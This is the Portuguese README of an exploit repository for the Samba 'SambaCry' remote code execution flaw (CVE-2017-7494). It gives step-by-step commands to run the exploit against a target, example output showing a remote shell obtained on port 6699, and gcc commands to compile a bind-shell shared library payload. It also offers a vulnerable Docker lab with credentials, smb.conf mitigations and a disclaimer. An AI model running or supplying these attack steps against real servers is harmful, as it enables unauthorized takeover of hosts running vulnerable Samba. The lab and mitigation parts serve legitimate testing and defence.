
Exploit SambaCry e contêiner vulnerável (CVE-2017-7494)
Samba é uma reimplementação de software livre do protocolo de rede SMB/CIFS. O Samba fornece serviços de arquivo e impressão para vários clientes Microsoft Windows e pode integrar-se com um domínio Microsoft Windows Server, seja como Controlador de Domínio (DC) ou como membro do domínio. A partir da versão 4, suporta Active Directory e domínios Microsoft Windows NT.
Samba na versão 4.5.9 e anteriores é vulnerável a uma vulnerabilidade de execução remota de código chamada SambaCry. CVE-2017-7494 permite que usuários autenticados remotos enviem uma biblioteca compartilhada para uma pasta compartilhada gravável e realizem ataques de execução de código para assumir o controle de servidores que hospedam serviços Samba vulneráveis.
Samba 3.x após 3.5.0 e 4.x anteriores a 4.4.14, 4.5.x anteriores a 4.5.10 e 4.6.x anteriores a 4.6.4 não restringe o caminho do arquivo ao usar pipes nomeados do Windows, o que permite que usuários autenticados remotos enviem uma biblioteca compartilhada para uma pasta compartilhada gravável e executem código arbitrário através de um pipe nomeado malicioso.

Para executar corretamente este exploit, você precisará de uma versão corrigida da biblioteca python impacket e das outras dependências no arquivo requirements. Para instalar todas, execute
pip install -r requirements.txt
Se você usa Python3, precisa executar este software em um ambiente virtual. Siga os passos:
pip install virtualenv
virtualenv -p /usr/bin/python2.7 venv # ou onde quer que seu python2.7 esteja
source venv/bin/activate.sh
Depois disso, você pode executá-lo da seguinte forma:
./exploit.py -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
Por exemplo, se quiser explorar o ambiente vulnerável contido neste repositório, execute
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
E você obterá a seguinte saída
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
Argumentos do exploit explicados:
usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
[-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
-t ou —target - Define o host remoto a ser atacado.-e ou —executable - Define o caminho no seu sistema local onde a biblioteca que você deseja carregar está localizada.-s ou —remoteshare - Compartilhamento remoto onde o arquivo será copiado.-r ou —remotepath - Onde o arquivo está localizado no sistema remoto.-u ou —user - Nome de usuário para fazer login.-p ou —password - Senha a ser usada para fazer login.-P ou —remoteshellport - Se você estiver usando um payload de bind shell, conecte-se ao payload após a execução do ataque.Para simular este ataque, você pode usar uma imagem docker vulnerável. Se tiver o docker instalado, execute
docker run --rm -it \
-p 137-139:137-139 \
-p 445:445 -p 6699:6699 \
vulnerables/cve-2017-7494
Se quiser acessar, use as seguintes credenciais.
sambacrynosambanocryVocê pode encontrar um exemplo de payload de bind shell para este exploit no arquivo bindshell-samba.c. Altere-o conforme achar necessário. Depois disso, para gerar um novo binário, use:
gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
Samba 3.x após 3.5.0 e 4.x anteriores a 4.4.14, 4.5.x anteriores a 4.5.10 e 4.6.x anteriores a 4.6.4
Adicione o parâmetro:
nt pipe support = no
na seção [global] do seu smb.conf e reinicie o smbd. Isso impede que os clientes acessem qualquer endpoint de pipe nomeado. Observe que isso pode desabilitar algumas funcionalidades esperadas para clientes Windows.
Considere também montar o sistema de arquivos usado pelo samba para seu compartilhamento gravável usando a opção noexec.
Este ou programas anteriores são APENAS para fins educacionais. Não os utilize sem permissão. O aviso legal usual se aplica, especialmente o fato de que eu (opsxcq) não sou responsável por quaisquer danos causados pelo uso direto ou indireto das informações ou funcionalidades fornecidas por estes programas. O autor ou qualquer provedor de Internet não assume NENHUMA responsabilidade pelo conteúdo ou uso indevido destes programas ou de qualquer derivado deles. Ao usar estes programas, você aceita o fato de que qualquer dano (perda de dados, falha do sistema, comprometimento do sistema, etc.) causado pelo uso destes programas não é de responsabilidade do opsxcq.